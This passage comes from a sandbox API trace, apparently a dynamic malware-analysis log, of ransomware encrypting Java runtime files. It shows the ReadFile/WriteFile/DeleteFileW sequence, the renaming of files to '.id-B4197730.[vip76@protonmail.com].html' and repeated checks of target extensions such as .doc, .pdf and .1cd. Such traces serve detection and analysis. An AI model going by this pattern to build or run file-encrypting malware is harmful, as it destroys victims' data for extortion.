	[0169.469] ReadFile (in: hFile=0x4dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xc824, lpOverlapped=0x0) returned 1
	[0169.474] WriteFile (in: hFile=0x4e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xc830, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xc830, lpOverlapped=0x0) returned 1
	[0169.476] ReadFile (in: hFile=0x4dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.476] WriteFile (in: hFile=0x4e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xe6, lpOverlapped=0x0) returned 1
	[0169.476] SetEndOfFile (hFile=0x4e0) returned 1
	[0169.477] CloseHandle (hObject=0x4e0) returned 1
	[0169.477] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.477] SetEndOfFile (hFile=0x4dc) returned 1
	[0169.481] CloseHandle (hObject=0x4dc) returned 1
	[0169.481] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0169.482] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\ciexyz.pf")) returned 1
	[0169.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.483] lstrlenW (lpString=".doc") returned 4
	[0169.483] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1
	[0169.483] lstrlenW (lpString=".docx") returned 5
	[0169.483] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1
	[0169.483] lstrlenW (lpString=".pdf") returned 4
	[0169.483] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1
	[0169.483] lstrlenW (lpString=".xls") returned 4
	[0169.483] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1
	[0169.483] lstrlenW (lpString=".xlsx") returned 5
	[0169.483] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1
	[0169.483] lstrlenW (lpString=".ppt") returned 4
	[0169.483] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1
	[0169.483] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.483] lstrlenW (lpString=".zip") returned 4
	[0169.483] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1
	[0169.483] lstrlenW (lpString=".rar") returned 4
	[0169.483] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1
	[0169.483] lstrlenW (lpString=".bz2") returned 4
	[0169.483] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1
	[0169.484] lstrlenW (lpString=".7z") returned 3
	[0169.484] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0169.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.484] lstrlenW (lpString=".dbf") returned 4
	[0169.484] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1
	[0169.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.484] lstrlenW (lpString=".1cd") returned 4
	[0169.484] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1
	[0169.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.484] lstrlenW (lpString=".jpg") returned 4
	[0169.484] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1
	[0169.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.484] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.484] lstrlenW (lpString=".doc") returned 4
	[0169.484] lstrcmpiW (lpString1=".doc", lpString2="Z.pf") returned -1
	[0169.484] lstrlenW (lpString=".docx") returned 5
	[0169.484] lstrcmpiW (lpString1=".docx", lpString2="YZ.pf") returned -1
	[0169.484] lstrlenW (lpString=".pdf") returned 4
	[0169.484] lstrcmpiW (lpString1=".pdf", lpString2="Z.pf") returned -1
	[0169.484] lstrlenW (lpString=".xls") returned 4
	[0169.484] lstrcmpiW (lpString1=".xls", lpString2="Z.pf") returned -1
	[0169.484] lstrlenW (lpString=".xlsx") returned 5
	[0169.484] lstrcmpiW (lpString1=".xlsx", lpString2="YZ.pf") returned -1
	[0169.484] lstrlenW (lpString=".ppt") returned 4
	[0169.484] lstrcmpiW (lpString1=".ppt", lpString2="Z.pf") returned -1
	[0169.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.485] lstrlenW (lpString=".zip") returned 4
	[0169.485] lstrcmpiW (lpString1=".zip", lpString2="Z.pf") returned -1
	[0169.485] lstrlenW (lpString=".rar") returned 4
	[0169.485] lstrcmpiW (lpString1=".rar", lpString2="Z.pf") returned -1
	[0169.485] lstrlenW (lpString=".bz2") returned 4
	[0169.485] lstrcmpiW (lpString1=".bz2", lpString2="Z.pf") returned -1
	[0169.485] lstrlenW (lpString=".7z") returned 3
	[0169.485] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0169.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.485] lstrlenW (lpString=".dbf") returned 4
	[0169.485] lstrcmpiW (lpString1=".dbf", lpString2="Z.pf") returned -1
	[0169.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.485] lstrlenW (lpString=".1cd") returned 4
	[0169.485] lstrcmpiW (lpString1=".1cd", lpString2="Z.pf") returned -1
	[0169.485] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\CIEXYZ.pf") returned 52
	[0169.485] lstrlenW (lpString=".jpg") returned 4
	[0169.485] lstrcmpiW (lpString1=".jpg", lpString2="Z.pf") returned -1
	[0169.485] lstrcmpiW (lpString1=".pf", lpString2=".html") returned 1
	[0169.485] lstrlenW (lpString="GRAY.pf") returned 7
	[0169.486] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0169.486] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=632) returned 1
	[0169.486] CloseHandle (hObject=0x4dc) returned 1
	[0169.494] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 0x20
	[0169.495] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.495] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0169.495] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.495] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.495] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e0
	[0169.496] GetLastError () returned 0x0
	[0169.496] ReadFile (in: hFile=0x4dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x278, lpOverlapped=0x0) returned 1
	[0169.497] WriteFile (in: hFile=0x4e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x280, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x280, lpOverlapped=0x0) returned 1
	[0169.498] ReadFile (in: hFile=0x4dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.499] WriteFile (in: hFile=0x4e0, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0169.499] SetEndOfFile (hFile=0x4e0) returned 1
	[0169.499] CloseHandle (hObject=0x4e0) returned 1
	[0169.499] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.499] SetEndOfFile (hFile=0x4dc) returned 1
	[0169.502] CloseHandle (hObject=0x4dc) returned 1
	[0169.502] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0169.503] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\gray.pf")) returned 1
	[0169.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.503] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.503] lstrlenW (lpString=".doc") returned 4
	[0169.503] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1
	[0169.503] lstrlenW (lpString=".docx") returned 5
	[0169.503] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1
	[0169.503] lstrlenW (lpString=".pdf") returned 4
	[0169.504] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString=".xls") returned 4
	[0169.504] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString=".xlsx") returned 5
	[0169.504] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1
	[0169.504] lstrlenW (lpString=".ppt") returned 4
	[0169.504] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.504] lstrlenW (lpString=".zip") returned 4
	[0169.504] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString=".rar") returned 4
	[0169.504] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString=".bz2") returned 4
	[0169.504] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString=".7z") returned 3
	[0169.504] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0169.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.504] lstrlenW (lpString=".dbf") returned 4
	[0169.504] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.504] lstrlenW (lpString=".1cd") returned 4
	[0169.504] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.504] lstrlenW (lpString=".jpg") returned 4
	[0169.504] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.504] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.504] lstrlenW (lpString=".doc") returned 4
	[0169.504] lstrcmpiW (lpString1=".doc", lpString2="Y.pf") returned -1
	[0169.504] lstrlenW (lpString=".docx") returned 5
	[0169.504] lstrcmpiW (lpString1=".docx", lpString2="AY.pf") returned -1
	[0169.505] lstrlenW (lpString=".pdf") returned 4
	[0169.505] lstrcmpiW (lpString1=".pdf", lpString2="Y.pf") returned -1
	[0169.505] lstrlenW (lpString=".xls") returned 4
	[0169.505] lstrcmpiW (lpString1=".xls", lpString2="Y.pf") returned -1
	[0169.505] lstrlenW (lpString=".xlsx") returned 5
	[0169.505] lstrcmpiW (lpString1=".xlsx", lpString2="AY.pf") returned -1
	[0169.505] lstrlenW (lpString=".ppt") returned 4
	[0169.505] lstrcmpiW (lpString1=".ppt", lpString2="Y.pf") returned -1
	[0169.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.505] lstrlenW (lpString=".zip") returned 4
	[0169.505] lstrcmpiW (lpString1=".zip", lpString2="Y.pf") returned -1
	[0169.505] lstrlenW (lpString=".rar") returned 4
	[0169.505] lstrcmpiW (lpString1=".rar", lpString2="Y.pf") returned -1
	[0169.505] lstrlenW (lpString=".bz2") returned 4
	[0169.505] lstrcmpiW (lpString1=".bz2", lpString2="Y.pf") returned -1
	[0169.505] lstrlenW (lpString=".7z") returned 3
	[0169.505] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0169.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.505] lstrlenW (lpString=".dbf") returned 4
	[0169.505] lstrcmpiW (lpString1=".dbf", lpString2="Y.pf") returned -1
	[0169.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.505] lstrlenW (lpString=".1cd") returned 4
	[0169.505] lstrcmpiW (lpString1=".1cd", lpString2="Y.pf") returned -1
	[0169.505] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\GRAY.pf") returned 50
	[0169.505] lstrlenW (lpString=".jpg") returned 4
	[0169.505] lstrcmpiW (lpString1=".jpg", lpString2="Y.pf") returned -1
	[0169.505] lstrcmpiW (lpString1=".pf", lpString2=".html") returned 1
	[0169.505] lstrlenW (lpString="LINEAR_RGB.pf") returned 13
	[0169.506] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0169.508] GetFileSizeEx (in: hFile=0x4dc, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=1044) returned 1
	[0169.508] CloseHandle (hObject=0x4dc) returned 1
	[0169.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 0x20
	[0169.508] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0169.508] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4dc
	[0169.508] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.509] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.509] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0169.747] GetLastError () returned 0x0
	[0169.747] ReadFile (in: hFile=0x4dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x414, lpOverlapped=0x0) returned 1
	[0169.750] WriteFile (in: hFile=0x514, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0x420, lpOverlapped=0x0) returned 1
	[0169.751] ReadFile (in: hFile=0x4dc, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0x0, lpOverlapped=0x0) returned 1
	[0169.751] WriteFile (in: hFile=0x514, lpBuffer=0x3eae020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc94, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesWritten=0x328fc94*=0xee, lpOverlapped=0x0) returned 1
	[0169.751] SetEndOfFile (hFile=0x514) returned 1
	[0169.751] CloseHandle (hObject=0x514) returned 1
	[0169.751] SetFilePointerEx (in: hFile=0x4dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0169.751] SetEndOfFile (hFile=0x4dc) returned 1
	[0169.754] CloseHandle (hObject=0x4dc) returned 1
	[0169.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0170.523] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\cmm\\linear_rgb.pf")) returned 1
	[0171.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.599] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.600] lstrlenW (lpString=".doc") returned 4
	[0171.600] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0171.600] lstrlenW (lpString=".docx") returned 5
	[0171.600] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0171.600] lstrlenW (lpString=".pdf") returned 4
	[0171.600] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0171.600] lstrlenW (lpString=".xls") returned 4
	[0171.600] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0171.600] lstrlenW (lpString=".xlsx") returned 5
	[0171.600] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0171.600] lstrlenW (lpString=".ppt") returned 4
	[0171.600] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0171.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.600] lstrlenW (lpString=".zip") returned 4
	[0171.600] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0171.600] lstrlenW (lpString=".rar") returned 4
	[0171.600] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0171.600] lstrlenW (lpString=".bz2") returned 4
	[0171.600] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0171.600] lstrlenW (lpString=".7z") returned 3
	[0171.600] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0171.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.600] lstrlenW (lpString=".dbf") returned 4
	[0171.600] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0171.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.600] lstrlenW (lpString=".1cd") returned 4
	[0171.600] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0171.600] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.600] lstrlenW (lpString=".jpg") returned 4
	[0171.600] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.601] lstrlenW (lpString=".doc") returned 4
	[0171.601] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString=".docx") returned 5
	[0171.601] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0171.601] lstrlenW (lpString=".pdf") returned 4
	[0171.601] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString=".xls") returned 4
	[0171.601] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString=".xlsx") returned 5
	[0171.601] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0171.601] lstrlenW (lpString=".ppt") returned 4
	[0171.601] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.601] lstrlenW (lpString=".zip") returned 4
	[0171.601] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString=".rar") returned 4
	[0171.601] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString=".bz2") returned 4
	[0171.601] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString=".7z") returned 3
	[0171.601] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0171.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.601] lstrlenW (lpString=".dbf") returned 4
	[0171.601] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.601] lstrlenW (lpString=".1cd") returned 4
	[0171.601] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0171.601] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\LINEAR_RGB.pf") returned 56
	[0171.602] lstrlenW (lpString=".jpg") returned 4
	[0171.602] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0171.602] lstrcmpiW (lpString1=".properties", lpString2=".html") returned 1
	[0171.602] lstrlenW (lpString="messages.properties") returned 19
	[0171.602] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0171.990] GetFileSizeEx (in: hFile=0x58c, lpFileSize=0x328ff14 | out: lpFileSize=0x328ff14*=2860) returned 1
	[0171.990] CloseHandle (hObject=0x58c) returned 1
	[0171.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties")) returned 0x20
	[0171.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0171.991] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x58c
	[0171.993] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.993] SetFilePointerEx (in: hFile=0x58c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec0 | out: lpNewFilePointer=0x0) returned 1
	[0171.993] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages.properties.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x590
	[0171.995] GetLastError () returned 0x0
	[0171.995] ReadFile (in: hFile=0x58c, lpBuffer=0x3eae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fecc, lpOverlapped=0x0 | out: lpBuffer=0x3eae020*, lpNumberOfBytesRead=0x328fecc*=0xb2c, lpOverlapped=0x0) returned 1
